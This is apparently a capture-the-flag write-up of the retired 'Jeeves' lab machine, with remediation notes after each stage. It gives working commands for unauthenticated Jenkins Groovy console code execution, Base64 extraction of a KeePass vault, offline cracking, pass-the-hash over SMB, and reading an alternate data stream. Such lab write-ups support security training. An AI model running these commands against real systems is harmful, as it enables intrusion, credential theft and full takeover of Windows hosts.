Jeeves
Summary
I found a Jenkins CI server on TCP/50000 with its Groovy Script Console fully exposed — no login required to run arbitrary code on the Windows host. Jenkins' own CSRF-token endpoint was equally unauthenticated, so a single extra HTTP request supplied the crumb needed to silence the 403 error, giving immediate remote code execution as the Windows service account jeeves\kohsuke. The user flag was read directly through this channel without ever needing an interactive shell.
A filesystem search of the service account's profile turned up a KeePass 2 credential database, which was exfiltrated by encoding its bytes as Base64 over the same text-only RCE channel. The master password — a single common dictionary word — was cracked offline in under a minute, and the vault contained the built-in Administrator's NTLM hash in plain text. Supplying that hash directly to the SMB service (pass-the-hash) authenticated as full Administrator with no password cracking required.
The root flag was not in a normal file but concealed inside an NTFS Alternate Data Stream on the Administrator's desktop, retrieved with standard SMB tooling once administrative access was established.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 80,135,445,50000 $TARGET -oN jeeves_nmap.txtcurl -sS -D - -o /dev/null http://$TARGET:50000/askjeeves/Exact commands 2
curl -sS "http://$TARGET:50000/askjeeves/whoAmI/"curl -sS "http://$TARGET:50000/askjeeves/script"FixEnable Jenkins authentication and restrict the Script Console to administratorsCritical
Exact commands 2
curl -sS -c /tmp/jeeves.cookies "http://$TARGET:50000/askjeeves/crumbIssuer/api/json"curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: <crumb>' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("cmd.exe","/c","whoami").redirectErrorStream(true).start().text'Exact commands 1
curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: [REDACTED: sensitive value]' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("cmd.exe","/c","type C:\\Users\\kohsuke\\Desktop\\user.txt").redirectErrorStream(true).start().text'Exact commands 3
curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: <crumb>' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("cmd.exe","/c","dir C:\\Users\\kohsuke\\Documents").redirectErrorStream(true).start().text'curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: <crumb>' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("powershell","-c","[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\\Users\\kohsuke\\Documents\\CEH.kdbx'))").redirectErrorStream(true).start().text'echo '<base64_output>' | base64 -d > /tmp/CEH.kdbxFixProtect credential vaults with strong master passwords and store them away from service account profilesHigh
Exact commands 3
keepass2john /tmp/CEH.kdbx > /tmp/CEH.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt /tmp/CEH.hash --format=KeePasspython3 -c "from pykeepass import PyKeePass; kp=PyKeePass('/tmp/CEH.kdbx', password='$PASSWORD'); [print(e.title, e.username, e.password) for e in kp.entries]"Exact commands 1
nxc smb $TARGET -u Administrator -H $PASSWORD2 -x whoamiFixEliminate NTLM pass-the-hash exposure for privileged accountsCritical
Exact commands 2
smbclient //$TARGET/C$ -U 'Jeeves\Administrator%$PASSWORD2' --pw-nt-hash -c 'cd Users\Administrator\Desktop; allinfo hm.txt'smbclient //$TARGET/C$ -U 'Jeeves\Administrator%$PASSWORD2' --pw-nt-hash -c 'cd Users\Administrator\Desktop; get hm.txt:root.txt /tmp/root_ads.txt'Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 445/tcp | microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) |
| 50000/tcp | http Jetty 9.4.z-SNAPSHOT |